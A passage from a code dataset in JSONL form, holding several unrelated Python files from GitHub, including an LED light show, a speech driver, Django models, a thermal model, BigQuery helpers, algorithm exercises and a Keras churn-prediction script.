print(\"walk\", color, start, path, reverse)\r\n if start <= tick_move < start + len(path):\r\n pos = tick_move - start\r\n old_pos = pos - 1\r\n if reverse:\r\n pos = (len(path) - pos) - 1\r\n old_pos = pos + 1\r\n # print(pos, old_pos, len(path))\r\n pixels[path[pos]] = color\r\n if 0 <= old_pos < len(path):\r\n pixels[path[old_pos]] = BLACK\r\n\r\n\r\ndef loop(start, times, color, path):\r\n factor = 4\r\n if tick_move == start:\r\n print(\"loop\", color, times, path)\r\n if start <= tick_move < (start + factor * times * len(path)):\r\n offset = int((tick_move - start) / factor)\r\n pos = offset % len(path)\r\n old_pos = pos - 1\r\n if old_pos == -1:\r\n old_pos = len(path)-1\r\n # print(offset, pos, old_pos, len(path))\r\n pixels[path[pos]] = color\r\n if 0 <= old_pos < len(path):\r\n pixels[path[old_pos]] = BLACK\r\n\r\n\r\n# while True:\r\n# print(\"Running\")\r\n# color_fill(BLACK, 0)\r\n# travel_single(WHITE, 0.1)\r\n\r\n\r\nprint(\"Clearing LEDs.\")\r\ncolor_fill(BLACK, 0)\r\ntick_move = 0 # advances each second, for walking\r\ntick_move_last = 640\r\nflickers_per_move = tick_move_dur / tick_flicker_dur\r\nbutton6_down_already = not button6.value\r\nrunning = True\r\n\r\nwhile running and (tick_move <= tick_move_last):\r\n if tick_move >= tick_move_last:\r\n tick_move = 0\r\n color_fill(BLACK, 0)\r\n\r\n tick_flicker = 0\r\n\r\n # handle button6\r\n if (not button6.value and not button6_down_already):\r\n if running:\r\n running = False\r\n else:\r\n running = True\r\n print(\"running:\", running)\r\n button6_down_already = True\r\n tick_move = 0\r\n color_fill(BLACK, 0)\r\n if button6.value:\r\n button6_down_already = False\r\n\r\n if running:\r\n print(tick_move, end=\" \")\r\n # Jeff up\r\n rest(1, jeff, br1_2_to_br1_1)\r\n rest(1, maria, br1_4_to_lr2)\r\n walk(10, jeff, br1_2_to_br1_1)\r\n walk(16, jeff, br1_1_to_bath)\r\n walk(30, jeff, br1_1_to_bath, reverse=True)\r\n walk(40, jeff, br1_1_to_k1)\r\n loop(50, 3, jeff, k1_loop)\r\n # jeff deliver coffee\r\n walk(96, jeff, br1_4_to_k1, reverse=True)\r\n rest(117, maria, br1_4_to_k1)\r\n walk(115, jeff, br1_4_to_k1)\r\n # jeff make penny food\r\n loop(125, 1, jeff, k1_loop)\r\n walk(135, penny, br1_4_to_dr2)\r\n rest(137, maria, br1_4_to_k1)\r\n walk(150, jeff, k4_to_d4)\r\n walk(155, jeff, k4_to_d4, reverse=True)\r\n walk(156, penny, dr2_to_dr4)\r\n # penny out\r\n walk(170, penny, dr4_to_door2)\r\n walk(175, jeff, k4_to_door2)\r\n walk(180, jeff, k4_to_door2, reverse=True)\r\n # penny in then to bedroom\r\n walk(195, jeff, k4_to_door2)\r\n walk(200, jeff, k4_to_door2, reverse=True)\r\n loop(205, 2, jeff, k1_loop)\r\n walk(205, penny, b1_4_to_door2, reverse=True)\r\n rest(217, maria, br1_4_to_k1)\r\n # jeff eat breakfast\r\n walk(235, jeff, k4_to_d4)\r\n walk(280, jeff, k4_to_d4, reverse=True)\r\n # jeff workout in den\r\n walk(290, jeff, k4_to_d2)\r\n\r\n # Maria getting up\r\n walk(310, maria, br1_4_to_bath)\r\n walk(320, maria, br1_4_to_bath, reverse=True)\r\n # M to LR, fire on, then to kitchen\r\n walk(330, maria, br1_4_to_lr2)\r\n walk(394, maria, lr2_to_k4)\r\n # Penny to LR, M return\r\n walk(400, penny, br1_4_to_lr2)\r\n walk(410, maria, lr2_to_k4, reverse=True)\r\n # Jeff done workout; take shower\r\n walk(430, jeff, d2_to_bath)\r\n walk(470, jeff, br1_1_to_bath, reverse=True)\r\n # J to bedroom and closet getting dressed\r\n walk(490, jeff, br1_1_to_c2)\r\n walk(500, jeff, br1_1_to_c2, reverse=True)\r\n # Jeff to LR, then to work in guest room\r\n walk(505, jeff, br1_1_to_lr1)\r\n walk(560, jeff, lr1_to_b2_3)\r\n\r\n # Flickering\r\n while tick_flicker < flickers_per_move:\r\n # blink_board_light()\r\n tv_on(300, 425)\r\n fireplace(340, 640)\r\n # print(tick_move, tick_flicker)\r\n pixels.show()\r\n tick_flicker = tick_flicker + 1\r\n time.sleep(tick_flicker_dur)\r\n\r\n tick_move = tick_move + 1\r\n","repo_name":"jeffsouthard/house-light-show","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"37328865601","text":"\"\"\"\n字符串的左旋转操作是把字符串前面的若干个字符转移到字符串的尾部。请定义一个函数实现字符串左旋转操作的功能。比如,输入字符串\"abcdefg\"和数字2,该函数将返回左旋转两位得到的结果\"cdefgab\"。\n\n示例 1:\n输入: s = \"abcdefg\", k = 2\n输出: \"cdefgab\"\n\n示例 2:\n输入: s = \"lrloseumgh\", k = 6\n输出: \"umghlrlose\"\n\n限制:\n1 <= k < s.length <= 10000\n\"\"\"\nclass Solution:\n def reverseLeftWords(self, s: str, n: int) -> str:\n def reverse_sub(lst, left, right):\n while left < right:\n lst[left], lst[right] = lst[right], lst[left]\n left += 1\n right -= 1\n\n res = list(s)\n end = len(res) - 1\n reverse_sub(res, 0, n - 1)\n reverse_sub(res, n, end)\n reverse_sub(res, 0 ,end)\n return ''.join(res)","repo_name":"Kan19990810/Python","sub_path":"随想录/字符串/reverseLeftWords.py","file_name":"reverseLeftWords.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"9266376722","text":"# baekjoon 1920 : 수 찾기\n# solved by JY\n# DATE : 2021.01.27\n# 완전탐색, pypy3으로 채점\n\ndef solution(): \n for i in m_list:\n if i in n_list:\n print(1)\n else:\n print(0)\n\n# run test\nN = int(input())\nn_list = list(map(int, input().split(' ')))\nM = int(input())\nm_list = list(map(int, input().split(' ')))\nsolution()","repo_name":"Jiyooung/ALGORITHM","sub_path":"baekjoon/2021년/2021-01/JY_B1920.py","file_name":"JY_B1920.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"23760196248","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n# generic speech driver\n\nfrom threading import Thread, Lock\nfrom queue import Queue, Empty\nimport shlex\nfrom subprocess import Popen\nimport time\n\nclass speakQueue(Queue):\n def clear(self):\n try:\n while True:\n self.get_nowait()\n except Empty:\n pass\n\nclass driver():\n def __init__(self):\n self.proc = None\n self.speechThread = Thread(target=self.worker)\n self.lock = Lock()\n self.textQueue = speakQueue()\n self.initialize()\n def initialize(self):\n environment = {'minVolume': 0,\n 'volume': '100',\n 'maxVolume': 200,\n 'minPitch': '0',\n 'pitch': '50',\n 'maxPitch': 99,\n 'minRate': 80,\n 'rate': '280',\n 'maxRate': 450,\n 'language': '',\n 'module': 'espeak',\n 'voice': 'en-us',\n 'command': 'espeak -a fenrirVolume -s fenrirRate -p fenrirPitch -v fenrirVoice -- \"fenrirText\"'\n }\n self.env = environment \n self.minVolume = self.env['minVolume']\n self.volume = self.env['volume']\n self.maxVolume = self.env['maxVolume']\n self.minPitch = self.env['minPitch']\n self.pitch = self.env['pitch']\n self.maxPitch = self.env['maxPitch']\n self.minRate = self.env['minRate']\n self.rate = self.env['rate']\n self.maxRate = self.env['maxRate']\n self.language = self.env['language']\n self.voice = self.env['voice']\n self.module = self.env['module']\n \n self.speechCommand = self.env['command']\n if self.speechCommand == '':\n self.speechCommand = 'espeak -a fenrirVolume -s fenrirRate -p fenrirPitch -v fenrirVoice -- \"fenrirText\"' \n self._isInitialized = True \n if self._isInitialized:\n self.speechThread.start() \n def shutdown(self):\n if not self._isInitialized:\n return\n self.cancel() \n self.textQueue.put(-1)\n\n def speak(self,text, queueable=True):\n if not self._isInitialized:\n return\n if not queueable: \n self.cancel() \n utterance = {\n 'text': text,\n 'volume': self.volume,\n 'rate': self.rate,\n 'pitch': self.pitch,\n 'module': self.module,\n 'language': self.language,\n 'voice': self.voice,\n } \n self.textQueue.put(utterance.copy())\n\n def cancel(self):\n if not self._isInitialized:\n return\n self.clear_buffer()\n self.lock.acquire(True)\n if self.proc:\n try:\n self.proc.terminate()\n except Exception as e:\n try:\n self.proc.kill()\n except Exception as e:\n pass\n self.proc = None \n self.lock.release()\n def setCallback(self, callback):\n print('SpeechDummyDriver: setCallback') \n\n def clear_buffer(self):\n if not self._isInitialized:\n return\n self.textQueue.clear() \n \n def setVoice(self, voice):\n if not self._isInitialized:\n return\n self.voice = str(voice)\n\n def setPitch(self, pitch):\n if not self._isInitialized:\n return\n self.pitch = str(self.minPitch + pitch * (self.maxPitch - self.minPitch ))\n\n def setRate(self, rate):\n if not self._isInitialized:\n return\n self.rate = str(self.minRate + rate * (self.maxRate - self.minRate ))\n\n def setModule(self, module):\n if not self._isInitialized:\n return \n self.module = str(module)\n\n def setLanguage(self, language):\n if not self._isInitialized:\n return\n self.language = str(language)\n\n def setVolume(self, volume):\n if not self._isInitialized:\n return \n self.volume = str(self.minVolume + volume * (self.maxVolume - self.minVolume ))\n \n def worker(self):\n while True:\n utterance = self.textQueue.get()\n\n if isinstance(utterance, int):\n if utterance == -1:\n return\n else:\n continue\n elif not isinstance(utterance, dict):\n continue\n # no text means nothing to speak\n if not 'text' in utterance:\n continue\n if not isinstance(utterance['text'],str):\n continue \n if utterance['text'] == '':\n continue\n # check for valid data fields\n if not 'volume' in utterance:\n utterance['volume'] = ''\n if not isinstance(utterance['volume'],str):\n utterance['volume'] = ''\n if not 'module' in utterance:\n utterance['module'] = ''\n if not isinstance(utterance['module'],str):\n utterance['module'] = ''\n if not 'language' in utterance:\n utterance['language'] = ''\n if not isinstance(utterance['language'],str):\n utterance['language'] = ''\n if not 'voice' in utterance:\n utterance['voice'] = ''\n if not isinstance(utterance['voice'],str):\n utterance['voice'] = ''\n if not 'pitch' in utterance:\n utterance['pitch'] = ''\n if not isinstance(utterance['pitch'],str):\n utterance['pitch'] = ''\n if not 'rate' in utterance:\n utterance['rate'] = ''\n if not isinstance(utterance['rate'],str):\n utterance['rate'] = ''\n\n popenSpeechCommand = shlex.split(self.speechCommand)\n\n for idx, word in enumerate(popenSpeechCommand):\n word = word.replace('fenrirVolume', str(utterance['volume'] ))\n word = word.replace('genericSpeechVolume', str(utterance['volume'] ))\n word = word.replace('fenrirModule', str(utterance['module']))\n word = word.replace('genericSpeechModule', str(utterance['module']))\n word = word.replace('fenrirLanguage', str(utterance['language']))\n word = word.replace('genericSpeechLanguage', str(utterance['language']))\n word = word.replace('fenrirVoice', str(utterance['voice']))\n word = word.replace('genericSpeechVoice', str(utterance['voice']))\n word = word.replace('fenrirPitch', str(utterance['pitch']))\n word = word.replace('genericSpeechPitch', str(utterance['pitch']))\n word = word.replace('fenrirRate', str(utterance['rate']))\n word = word.replace('genericSpeechRate', str(utterance['rate']))\n word = word.replace('fenrirText', str(utterance['text']))\n word = word.replace('genericSpeechText', str(utterance['text']))\n popenSpeechCommand[idx] = word\n try:\n self.lock.acquire(True)\n self.proc = Popen(popenSpeechCommand, stdin=None, stdout=None, stderr=None, shell=False)\n self.lock.release()\t\n self.proc.wait()\n except Exception as e:\n print(e)\n\n self.lock.acquire(True)\n self.proc = None\n self.lock.release()\n\n# create driver object\nspeechserver = driver()\n# speak\nspeechserver.speak(\"For my frind storm, because he rulz\")\n# wait\ntime.sleep(1.6)\n# stop worker\nspeechserver.shutdown()\n","repo_name":"stormdragon2976/generic-speech-driver","sub_path":"generic-speech-driver.py","file_name":"generic-speech-driver.py","file_ext":"py","file_size_in_byte":7750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"6463813758","text":"from django.db import models\nfrom django.contrib.auth.models import AbstractUser\nfrom django.conf import settings\nfrom django.core.validators import FileExtensionValidator\nfrom django.core.exceptions import ValidationError\n# import magic\n\n# To check the extension of the file uploaded so that only audio files are uploaded using extension\next_validator = FileExtensionValidator(['mp3', 'wav', 'flac'])\n\n# Commenting out because deploying with python-magic-bin doesnt work.\n# Check the file content using python-magic so that only audio files are uploaded\n# def validate_file_mimetype(file):\n# accept = ['audio/mpeg', 'audio/wav', 'audio/flac', 'audio/x-wav']\n# file_mime_type = magic.from_buffer(file.read(1024), mime=True)\n\n# if file_mime_type not in accept:\n# raise ValidationError(\"Unsupported file type\")\n\n# User Model\n\n\nclass User(AbstractUser):\n email = models.EmailField(unique=True)\n\n USERNAME_FIELD = 'email'\n REQUIRED_FIELDS = []\n\n\n# Choices for music files as public/private/protected.\nTYPE_CHOICES = [\n ('public', 'Public'),\n ('private', 'Private'),\n ('protected', 'Protected'),\n]\n\n# Music Model\n\n\nclass Musics(models.Model):\n title = models.CharField(max_length=255)\n music = models.FileField(\n validators=[ext_validator])\n category = models.CharField(\n max_length=10, choices=TYPE_CHOICES, blank=False)\n uploaded_by = models.ForeignKey(User, on_delete=models.CASCADE, null=True)\n email_addresses_with_access = models.TextField(\n blank=True, help_text=\"Comma-separated email addresses\")\n\n def __str__(self):\n return self.title\n\n # Function so that if the user selects protected category the email_addresses with access can not be blank\n def clean(self):\n super().clean()\n if self.category == 'protected' and not self.email_addresses_with_access:\n raise ValidationError(\n {'email_addresses_with_access': 'Email addresses cannot be blank for protected category.'})\n","repo_name":"adhi85/Music-Sharing-Portal","sub_path":"base/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"32180931804","text":"#Alexandre Carle et Louis-philippe Rousseau\n#12 septembre 2022\n#Dernier changement le 12 septembre 2022\n\nfrom copier_tableau import copier_tableau\n\nFENETRE = 10\n\ndef calculer_moyenne_mobile(nouvelle_distance , tableau_distance):\n \n tableau_distance.append(nouvelle_distance)\n \n if len(tableau_distance) >= FENETRE:\n temp_tab = copier_tableau(tableau_distance)\n temp_min = min(temp_tab)\n temp_max = max(temp_tab) \n temp_tab.remove(temp_min)\n temp_tab.remove(temp_max)\n del tableau_distance[0]\n return sum(temp_tab)/len(temp_tab)\n \n return None\n ","repo_name":"Alex6X9X/Conception_Enviro","sub_path":"Laboratoire_2/calculer_moyenne_mobile.py","file_name":"calculer_moyenne_mobile.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"35299992369","text":"def comparator(first_number, second_number):\n return first_number < second_number\n\n\ndef big_number(array_length, array, less):\n for i in range(1, array_length):\n item_to_insert = array[i]\n j = i - 1\n while j >= 0 and less(int(array[j] + item_to_insert), int(item_to_insert + array[j])):\n first_number = array[j]\n second_number = array[j + 1]\n array[j] = second_number\n array[j + 1] = first_number\n j -= 1\n return (''.join(array))\n\nif __name__ == '__main__':\n array_length = int(input())\n array = input().split()\n print(big_number(array_length, array, comparator))\n","repo_name":"YourKeysAreMine/Basic_Algorithms","sub_path":"recursion_and_sorting/H_big_number.py","file_name":"H_big_number.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"33631654279","text":"\"\"\"\n****** 2mass.py *******\n\nDefine constants and a TwoMass class that calculates the predicted temperature\nusing this model.\n\"\"\"\n\nimport numpy as np\nimport math\n\n# Define a number of module constants that are tuned.\n\nDegCtoDegK = 273.15\nDegKtoDegC = -DegCtoDegK\n\n# U01: Conductance between 1PIN1AT and SIM external (W K^-1)\n# U01 = Pp(6 CCD)- Pp(1) / T1(6)-T1(1)\ntweak01 = 2.5\nU01 = (128.1 - 56.9) / 5.3 / tweak01\n\n# U12: Conductance between 1PIN1AT and 1PDEAAT (W K^-1)\n# Calibrated by looking at change (6 vs N CCD) for 1PIN1AT vs. 1PDEAAT\nU12 = U01 / 0.65\n\n# C1: Heat capacitance for 1PIN1AT (W K^-1 ksec^-1)\n# tau_pin ~= C1 / U01 ( / 3 arbitrarily)\nC1 = U01 * 20. / 2 * 1.5\n\n\n# C2: Heat capacitance for 1PDEAAT (W K^-1 ksec^-1)\n# Pure guess for value now based on estimated time constant for\n# change when PSMC power changes due to N_CCD changing.\nC2 = C1 / 10. * 1\n\nM = np.array([[-(U01 + U12) / C1 , U12 / C1],\n [U12 / C2 , -U12 / C2]])\neigvals, eigvecs = np.linalg.eig(M)\neigvecinvs = np.linalg.inv(eigvecs)\n\nclass Ext_T0(object):\n \"\"\"External (SIM) temperature, depending on SIM-Z and pitch (and optionally\n on MET)\"\"\"\n\n @staticmethod\n def sun_illum_acis(pitch):\n \"\"\"Calculate a sun illumination function that emulates the observed variation\n of settling temperature with pitch. The output is normalized to a peak of 1.0\"\"\"\n pitchr = np.radians(pitch)\n\n # Illumination of the \"vertical\" surface of the SIM on which the PSMC is mounted.\n # (i.e. the surface facing +X). Beyond pitch=90 the surface is not illuminated.\n if pitch > 90:\n illumX = 0\n else:\n illumX = math.cos(pitchr)\n\n # Illumination of the \"horizontal\" surface (facing -Z). First make a shadow\n # function that is one for P<90 then decreases linearly to 0 at P=105.\n # This is shadowing due to the SIM top hat.\n p0 = 90.\n p1 = 105.\n shadow = (p1 - pitch) / (p1 - p0)\n if pitch < p0:\n shadow = 1\n elif pitch > p1:\n shadow = 0\n illumZ = math.sin(pitchr) * shadow\n\n return illumX, illumZ\n\n def __init__(self, pitch, simz, met=None):\n self.pitch = pitch\n self.simz = simz\n self.met = met\n\n # T0 = T2 - Pp(1/U01 + 1/U12)\n if self.simz > 0: # ACIS, more-or-less\n illumX, illumZ = Ext_T0.sun_illum_acis(pitch)\n T2 = 20 * (illumX + 0.75 * illumZ) + 30\n Pp = 128 # For 6 chips => Pp = 128\n else: # HRC\n T2 = 34\n Pp = 112 # 5 chips\n\n self.degC = T2 - Pp * (1./U01 + 1./U12)\n\n def _get_degK(self):\n return self._degK\n\n def _set_degK(self, degK):\n self._degK = degK\n\n degK = property(_get_degK, _set_degK)\n \n def _get_degC(self):\n return self.degK + DegKtoDegC\n\n def _set_degC(self, degC):\n self.degK = degC + DegCtoDegK\n\n def __str__(self):\n return 'Ext_T0: <pitch=%.1f simz=%.0f degC=%.1f>' % (self.pitch, self.simz, self.degC)\n\n degC = property(_get_degC, _set_degC)\n \nclass TwoMass(object):\n def __init__(self, Pp, T0, Ti):\n self.heat = np.array([[U01 * T0.degK / C1],\n [Pp / C2]])\n self.eigvecs = eigvecs\n self.eigvecinvs = eigvecinvs\n self.l1 = eigvals[0]\n self.l2 = eigvals[1]\n self.Ti = Ti\n\n def calcT(self, t):\n \"\"\"Calculate predicted temperatures at a single input time using the\n two-mass model. This is much slower than calcT_vec in most cases.\n\n @param t: input time (sec)\n\n @return: numpy array out[2]. out[0] is 1pin1at and out[1] is 1pdeaat\n \"\"\"\n l1 = self.l1\n l2 = self.l2\n t_ksec = t / 1000.\n exp_l1_t = math.exp(l1*t_ksec)\n exp_l2_t = math.exp(l2*t_ksec)\n T1 = np.dot(np.dot(np.array([[(exp_l1_t-1)/l1, 0 ],\n [0, (exp_l2_t-1)/l2]]),\n self.eigvecinvs),\n self.heat)\n T2 = np.dot(np.dot(np.array([[exp_l1_t, 0 ],\n [0, exp_l2_t]]),\n self.eigvecinvs),\n self.Ti)\n\n return np.dot(self.eigvecs, (T1 + T2)).reshape(-1)\n\n def calcT_vec(self, t):\n \"\"\"Calculate predicted temperatures at the input times using the\n two-mass model.\n\n @param t: numpy array of input times (sec)\n\n @return: numpy array out[2, len(t)]. out[0,:] is 1pin1at and\n out[1, :] is 1pdeaat\n \"\"\"\n\n # Calculate as for the following, but in a vectorized form:\n## exp_l1_t = math.exp(l1*t)\n## exp_l2_t = math.exp(l2*t)\n## T1 = np.matrix([[(exp_l1_t-1)/l1, 0 ],\n## [0, (exp_l2_t-1)/l2]]) * self.eigvecinvs * self.heat\n## T2 = np.matrix([[exp_l1_t, 0 ],\n## [0, exp_l2_t]]) * self.eigvecinvs * self.Ti\n## return self.eigvecs * (T1 + T2)\n\n l1 = self.l1\n l2 = self.l2\n\n t_ksec = t / 1000.\n exp_l1_t = np.exp(l1*t_ksec)\n exp_l2_t = np.exp(l2*t_ksec)\n\n lenM = len(t) * 2 * 2\n M1 = np.zeros(lenM)\n M1[0:lenM:4] = (exp_l1_t-1)/l1\n M1[3:lenM:4] = (exp_l2_t-1)/l2\n M1 = M1.reshape(len(t), 2, 2)\n T1 = np.dot(np.dot(M1, self.eigvecinvs), self.heat)\n\n M2 = np.zeros(lenM)\n M2[0:lenM:4] = exp_l1_t\n M2[3:lenM:4] = exp_l2_t\n M2 = M2.reshape(len(t), 2, 2)\n T2 = np.dot(np.dot(M2, self.eigvecinvs), self.Ti)\n\n return np.dot(self.eigvecs, (T1 + T2)).reshape(2, -1)\n\n","repo_name":"sot/psmc","sub_path":"twomass.py","file_name":"twomass.py","file_ext":"py","file_size_in_byte":5766,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"18014453001","text":"from gw2apy.endpoints.endpoint import AbstractEndpoint\n\n\nclass DailyCrafting(AbstractEndpoint):\n def __init__(self, client):\n super(DailyCrafting, self).__init__(client=client)\n\n self.endpoint_path = \"/v2/dailycrafting\"\n\n self.has_pages = True\n self.has_ids = True\n self.has_all_ids = True\n","repo_name":"GuillaumeRochette/gw2apy","sub_path":"gw2apy/endpoints/dailycrafting.py","file_name":"dailycrafting.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"7247510104","text":"item =[\"T-Shirt\",\"Sweater\"]\nn = input(\"Welcome to our shop, what do you want (C, R, U, D)? \")\nwhile True:\n\n if (n == \"r\") or (n==\"R\"):\n print(*item,sep=\", \")\n n = input(\"Welcome to our shop, what do you want (C, R, U, D)? Ctrl+C to exit\")\n\n elif (n == \"c\")or (n== \"C\"):\n new = input(\"Enter new item: \")\n item.append(new)\n print(\"our items: \", end='')\n print(*item, sep=\", \")\n n = input(\"Welcome to our shop, what do you want (C, R, U, D)? Ctrl+C to exit\")\n\n elif (n == \"u\")or(n==\"U\"):\n print(*item, sep=\", \")\n i = int(input(\"Update position? \"))\n while i > len(item):\n print(\"not in range\")\n i = int(input(\"Update position? \"))\n update = input(\"Thay the thanh: \")\n item[i-1] = update\n print(\"our items: \", end='')\n print(*item, sep=', ')\n n = input(\"Welcome to our shop, what do you want (C, R, U, D)? Ctrl+C to exit\")\n\n elif (n == \"d\")or(n == \"D\"):\n print(*item, sep=\", \")\n d = int(input(\"Delete position? \"))\n while d > len(item):\n print(\"not in range\")\n d = int(input(\"Update position? \"))\n item.pop(d-1)\n print(\"our items: \", end='')\n print(*item, sep=', ')\n n = input(\"Welcome to our shop, what do you want (C, R, U, D)? Ctrl+C to exit\")\n else:\n print(\"You must choose C, R, U, D\")\n n = input(\"Welcome to our shop, what do you want (C, R, U, D)? Ctrl+C to exit\")\n","repo_name":"dungpa45/phamanhdung-faudamental-c4e13","sub_path":"session3/homework/ex3.py","file_name":"ex3.py","file_ext":"py","file_size_in_byte":1495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"3891178460","text":"from google.cloud import bigquery\nfrom som.logger import bot\nimport sys\nimport os\n\n# Read in test dataset\n\ndef get_client(project=None, client=None):\n ''' return a new client if not provided, with project specified,\n or None to use the active project\n '''\n if client is None:\n client = bigquery.Client(project=project)\n return client\n\n\ndef list_datasets(project=None, client=None):\n '''print a list of datasets'''\n client = get_client(project, client)\n\n bot.info(\"Datasets for project %s:\" % client.project)\n for dataset in client.list_datasets():\n print(dataset.name)\n\n\ndef get_dataset(name, project=None, client=None):\n ''' get a dataset. If doesn't exist, returns None\n '''\n client = get_client(project, client)\n dataset = client.dataset(name)\n if not dataset.exists():\n dataset = None\n return dataset\n\n\ndef create_schema(schema):\n ''' create a schema from a dictinoary, where keys are field values,\n and values are the type. Eg:\n {\"Name\":\"STRING\"}\n '''\n bqschema = []\n\n for field,field_type in schema.items():\n entry = bigquery.SchemaField(field, field_type.upper()),\n bqschema.append(entry)\n return tuple(bqschema)\n\n\ndef create_table(dataset, table_name, project=None, schema=None, client=None, quiet=False):\n '''create a table for a specified dataset and project\n '''\n client = get_client(project, client)\n table = dataset.table(table_name)\n\n if schema is None:\n bot.debug(\"Creating table with default dicom schema\")\n from .schema import dicom_schema\n schema = dicom_schema\n\n # If user provides dict, create schema from it\n elif isinstance(schema, dict):\n schema = create_schema(schema)\n\n table.schema = schema\n \n if not table.exists():\n table.create()\n message = 'Created table {} in dataset {}.'.format(table_name, dataset.name)\n else:\n table.update()\n message = 'Table {} in dataset {} already exists.'.format(table_name, dataset.name)\n\n if not quiet:\n bot.info(message)\n\n return table\n\n\ndef get_table(dataset, table_name, project=None, client=None):\n '''create a table for a specified dataset and project\n '''\n client = get_client(project, client)\n table = dataset.table(table_name) \n if not table.exists():\n table = None\n return table\n\n\ndef create_dataset(name, project=None, client=None, quiet=False):\n '''create a new dataset with \"name\" (required) \n '''\n client = get_client(project, client)\n\n # Name for dataset corresponds with IRB (our current \"Collection\" names)\n dataset = client.dataset(name)\n\n # Creates the new dataset\n message = ('Dataset {} already exists.').format(name)\n if not dataset.exists():\n dataset.create()\n message = ('Dataset {} created.').format(name)\n \n if not quiet:\n bot.info(message.format(dataset.name))\n return dataset\n","repo_name":"vsoch/som","sub_path":"som/api/google/bigquery/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2962,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"72"} +{"seq_id":"32046816566","text":"class Solution:\n def firstMissingPositive(self, nums: List[int]) -> int:\n import random\n def findMedian(nums, start, end):\n if end <= start:\n return\n pivotIndex = random.randrange(start, end)\n nums[start], nums[pivotIndex] = nums[pivotIndex], nums[start]\n i = start + 1\n j = end\n while i <= j:\n if nums[i] > nums[start]:\n nums[i], nums[j] = nums[j], nums[i]\n j -= 1\n else:\n i += 1\n nums[start], nums[j] = nums[j], nums[start]\n findMedian(nums, j + 1, end)\n findMedian(nums, start, j - 1)\n \n findMedian(nums, 0, len(nums) - 1)\n num1 = 1\n for i in range(len(nums)):\n if num1 == nums[i]:\n num1 += 1\n return num1\n","repo_name":"VarchasvaCommunity/Leetcode-Solutions","sub_path":"python/Ans41.py","file_name":"Ans41.py","file_ext":"py","file_size_in_byte":888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"32300260301","text":"\"\"\" Code Challenge - Churn Modelling DL \r\n\r\nThe customer churn, also known as customer attrition, refers to the phenomenon whereby\r\na customer leaves a service provider.\r\n\r\nIt is advantageous for banks to know what leads a client towards the decision to\r\nleave the company.\r\n\r\nChurn prevention allows companies to develop loyalty programs and retention campaigns\r\nto keep as many customers as possible.\r\n\r\nIn this code challenge, we use customer data from a bank to construct a predictive model \r\nusing deep learning for the likely churn customers.\"\"\"\r\n\r\n\r\n\r\nimport pandas as pd\r\ndataset = pd.read_csv(\"Churn_Modelling.csv\")\r\n\r\ndataset.shape\r\n\r\ndataset['Geography'].unique()\r\n\r\ndataset.shape\r\n\r\ndataset.head()\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\n\r\nfeatures = dataset.iloc[:, 3:13].values\r\nlabels = dataset.iloc[:, 13].values\r\n\r\ntype(features)\r\n\r\nfeatures.shape\r\n\r\nfeatures[0:10,:]\r\n\r\ndataset.dtypes\r\n\r\nfeatures\r\n\r\nlabels\r\n\r\nfrom sklearn.compose import ColumnTransformer\r\nfrom sklearn.preprocessing import OneHotEncoder\r\n\r\ncolumnTransformer = ColumnTransformer([('encoder', OneHotEncoder(), [1,2])], remainder='passthrough')\r\n\r\nfeatures = np.array(columnTransformer.fit_transform(features), dtype = np.float32)\r\n\r\nfeatures[0:10,:]\r\n\r\nfeatures = features[:, 1:] #drop the first dummy column for Geography\r\n\r\nfeatures[0]\r\n\r\nfeatures = features[:, [0,1,3,4,5,6,7,8,9,10,11]] #drop the column for Gender\r\n\r\nfeatures.shape\r\n\r\nfeatures[0,:]\r\n\r\nfeatures.shape\r\n\r\nfrom sklearn.model_selection import train_test_split\r\nfeatures_train, features_test, labels_train, labels_test = train_test_split(features, labels, test_size = 0.2, random_state = 0)\r\n\r\nfeatures[0]\r\n\r\nfrom sklearn.preprocessing import StandardScaler\r\nsc = StandardScaler()\r\nfeatures_train = sc.fit_transform(features_train)\r\nfeatures_test = sc.transform(features_test)\r\n\r\nfeatures_train[0]\r\n\r\n# Importing the Keras libraries and packages\r\nimport keras\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Dense\r\n\r\n\r\n\r\nclassifier = Sequential()\r\n\r\nfeatures.shape\r\n\r\n#adding the first hidden layer\r\nclassifier.add(Dense(units = 6, kernel_initializer = 'uniform', activation = 'relu', input_dim = 11))\r\n\r\n# Adding the second hidden layer\r\nclassifier.add(Dense(units = 6, kernel_initializer = 'uniform', activation = 'relu'))\r\n\r\n# Adding the output layer\r\nclassifier.add(Dense(units = 1, kernel_initializer = 'uniform', activation='sigmoid'))\r\n\r\n# Compiling the ANN\r\nclassifier.compile(optimizer = 'adam', loss = 'binary_crossentropy', metrics = ['accuracy'])\r\n\r\nclassifier.fit(features_train, labels_train, batch_size = 10, epochs = 10)\r\n\r\nlabels_pred = classifier.predict_classes(features_test)\r\n#labels_pred = (labels_pred > 